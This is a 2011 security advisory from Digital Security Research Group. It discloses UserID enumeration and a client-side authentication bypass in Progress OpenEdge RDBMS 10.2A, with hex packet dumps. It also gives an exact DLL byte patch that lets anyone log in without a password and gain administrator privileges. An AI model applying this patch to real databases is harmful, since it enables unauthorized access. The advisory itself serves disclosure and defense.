Digital Security Research Group [DSecRG] Advisory #DSECRG-11-008 Application: Progress OpenEdge Enterprise RDBMS Versions Affected: 10.2A and maybe others Vendor URL: http://web.progress.com Bug: Authentication bypass, UserID enumerate Exploits: YES Reported: 13.10.2009 Vendor response: 13.10.2009 Solution: NONE Date of Public Advisory:24.01.2011 Authors: Alexander Polyakov, Alexey Sintsov, Alexey Troshichev of Digital Security Research Group [DSecRG] Description *********** Progress OpenEdge Enterprise RDBMS (formerly known as the Progress RDBMS) is a high-efficiency relational database management system by company Progress Software Corp productions.It is widely used as backend for cutomezed ERP systems. This RDBMS has some vulnerabilities that make possible to enumerate UserID and bypass authentification. Details ******* 1. UserID enumerate Attacker can get valid UserID. It is possible because OpenEdge RDBMS server give different answers for situation when password is incorrect and when UserID does not exist. Client application in both way gives the same message - “Your Password and UserID do not much”. But in network layer answers from server are different: Packet 1. From server to client, if UserID exist (UserID eq AAA): 0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E. 0x0010 00 C3 00 00 00 00 40 06-7C 33 7F 00 00 01 7F 00 .A....@.|3.... 0x0020 00 01 0B B8 10 42 56 07-00 00 00 00 00 00 50 00 ...?.BV.......P. 0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 9B 00 4F @..........-.›.O 0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 4F FF FB ..........h.Oyu 0x0070 00 00 00 00 00 00 0F 02-00 00 00 00 00 00 00 00 ................ 0x0080 22 C0 E7 00 02 00 3C 01-FB 03 41 41 41 10 72 6D "Ac...<.u.AAA.rm 0x0090 57 78 6A 69 64 4E 63 6E-4D 64 6D 69 61 63 03 41 WxjidNcnMdmiac.A 0x00A0 41 41 FA 00 09 FD FD FD-FD FD FD FD FD FF FA 00 AAu..yyyyyyyyyu. 0x00B0 09 FD FD FD FD FD FD FD-FD FF FD FD FD FD FD FD .yyyyyyyyyyyyyyy 0x00C0 FD FD FD FD FD FD FD FD-FD FD FD FD FD FD FD FD yyyyyyyyyyyyyyyy 0x00D0 FD y Packet 2. From server to client, if UserId does not exist: 0x0000 00 00 00 00 00 01 00 00-00 00 00 02 08 00 45 00 ..............E. 0x0010 00 74 00 00 00 00 40 06-7C 82 7F 00 00 01 7F 00 .t....@.|‚.... 0x0020 00 01 0B B8 10 45 56 07-00 00 00 00 00 00 50 00 ...?.EV.......P. 0x0030 40 00 00 00 00 00 00 00-00 07 00 2D 00 4C FB 41 @..........-.LuA 0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0060 00 00 00 02 00 00 00 01-00 00 7F 68 00 00 FF FB ..........h..yu So attacker can connect to RDBMS server with different UserID and see network answers for getting existing UserID. 2. Authentication bypass Remote attacker can log in into RDBMS use existing or not existing UserID without password. It is possible because authentication process is going on client side. When password incorrect client application reset connection with server and show message box. If password is correct, client send to server UserID which he will be to use in RDBMS. Packet 3. From client to server, when password for UserID TEST2 is correct: 0x0000 00 00 00 00 00 02 00 00-00 00 00 01 08 00 45 00 ..............E. 0x0010 00 6E 00 00 00 00 40 06-7C 88 7F 00 00 01 7F 00 .n....@.|?.... 0x0020 00 01 0B 27 0B B8 13 03-00 00 00 00 00 00 50 00 ...'.?........P. 0x0030 40 00 00 00 00 00 00 00-00 09 00 14 00 46 00 00 @............F.. 0x0040 00 18 00 01 00 00 00 00-00 00 00 00 00 00 00 00 ................ 0x0050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 55 73 ..............Us 0x0060 65 72 69 64 20 69 73 20-6E 6F 77 20 54 45 53 54 erid is now TEST 0x0070 32 2E 20 28 37 30 38 29-00 00 00 00 2. (708).... Example of attack: Patch of %OpenEdge%\bin\prow32.dll (for version 10.2A) Begin address: 0x020065 - 0f85ce020000 + 909090909090 After that run DataAdministration(%OpenEdge%\bin\prowin32.exe) and try to enter into RDBMS with any UserID and without password. Application show error message box, but allow to enter into RDBMS with chosen UserId. If chosen UserID has a Security Administrator privileges, so attacker gets this privileges. By default in OpenEdge RDBMS all users have Security Administrator privileges. Fix Information *************** The only one possible fix is to use Windows authentication instead of proprietary. References ********* http://dsecrg.com/content/vul/edit.php?id=308 https://www.blackhat.com/html/bh-dc-11/bh-dc-11-archives.html#Smith About ***** Digital Security: Is one of the leading IT security companies in CEMEA, providing information security consulting, audit and penetration testing services, ERP and SAP security assessment, certification for ISO/IEC 27001:2005 and PCI DSS and PA DSS standards. Digital Security Research Group: International subdivision of Digital Security company focused on research and software development for securing business-critical systems like: enterprise applications (ERP,CRM,SRM), technology systems (SCADA, Smart Grid) and banking software. DSecRG developed new product "ERPSCAN security suite for SAP NetWeaver" and service "ERPSCAN Online" which can help customers to perform automated security assessments and compliance checks for SAP solutions. Contact: research [at] dsecrg [dot] com http://www.dsecrg.com http://www.erpscan.com Polyakov Alexandr. PCI QSA,PA-QSA CTO Digital Security Head of DSecRG ______________________ DIGITAL SECURITY phone: +7 812 703 1547 +7 812 430 9130 e-mail: a.polyakov@dsec.ru www.dsec.ru www.dsecrg.com www.dsecrg.ru www.erpscan.com www.erpscan.ru www.pcidssru.com www.pcidss.ru ----------------------------------- This message and any attachment are confidential and may be privileged or otherwise protected from disclosure. If you are not the intended recipient any use, distribution, copying or disclosure is strictly prohibited. If you have received this message in error, please notify the sender immediately either by telephone or by e-mail and delete this message and any attachment from your system. Correspondence via e-mail is for information purposes only. Digital Security neither makes nor accepts legally binding statements by e-mail unless otherwise agreed. -----------------------------------